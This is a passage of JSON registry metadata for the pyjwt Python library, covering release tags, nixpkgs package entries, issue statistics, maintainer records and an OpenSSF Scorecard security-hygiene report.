ublished_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.319Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:nix/python312Packages.pyjwt?channel=24.11\u0026repository_url=https://channels.nixos.org/nixos-24.11","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/python312Packages.pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/python312Packages.pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/python312Packages.pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python312Packages.pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python312Packages.pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python312Packages.pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python312Packages.pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python312Packages.pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python312Packages.pyjwt/codemeta","maintainers":[{"uuid":"prikhi","login":null,"name":"Pavan Rikhi","email":"pavan.rikhi@gmail.com","url":"https://github.com/prikhi","packages_count":28,"html_url":null,"role":null,"created_at":"2026-03-08T07:17:32.427Z","updated_at":"2026-03-08T07:17:32.427Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/maintainers/prikhi/packages"}],"registry":{"name":"nixpkgs-24.11","url":"https://channels.nixos.org/nixos-24.11","ecosystem":"nixpkgs","default":false,"packages_count":121983,"maintainers_count":3777,"namespaces_count":0,"keywords_count":739,"github":"NixOS","metadata":{"funded_packages_count":283},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:53.059Z","updated_at":"2026-06-10T05:16:24.031Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/namespaces"}},{"id":12873090,"name":"python313Packages.pyjwt","ecosystem":"nixpkgs","description":"JSON Web Token implementation in Python","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["python"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-01-27T04:02:19.060Z","latest_release_published_at":"2026-01-27T04:02:19.060Z","latest_release_number":"2.10.1","last_synced_at":"2026-03-07T19:25:05.328Z","created_at":"2026-01-27T04:02:18.794Z","updated_at":"2026-05-29T04:00:36.341Z","registry_url":"https://search.nixos.org/packages?channel=unstable\u0026query=python313Packages.pyjwt","install_command":"nix-env -iA nixpkgs.python313Packages.pyjwt","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-unstable/pkgs/development/python-modules/pyjwt/default.nix#L56","metadata":{"nix_attribute":"python3.13-pyjwt-2.10.1","position":"pkgs/development/python-modules/pyjwt/default.nix:56","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mips-linux","mips64-linux","mips64el-linux","mipsel-linux","powerpc-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","aarch64-darwin","aarch64-windows","x86_64-windows","i686-windows","i686-freebsd","x86_64-freebsd","aarch64-freebsd"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","doc","out"],"upstream_ecosystem":"pypi","upstream_name":"pyjwt","upstream_purl":"pkg:pypi/pyjwt"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1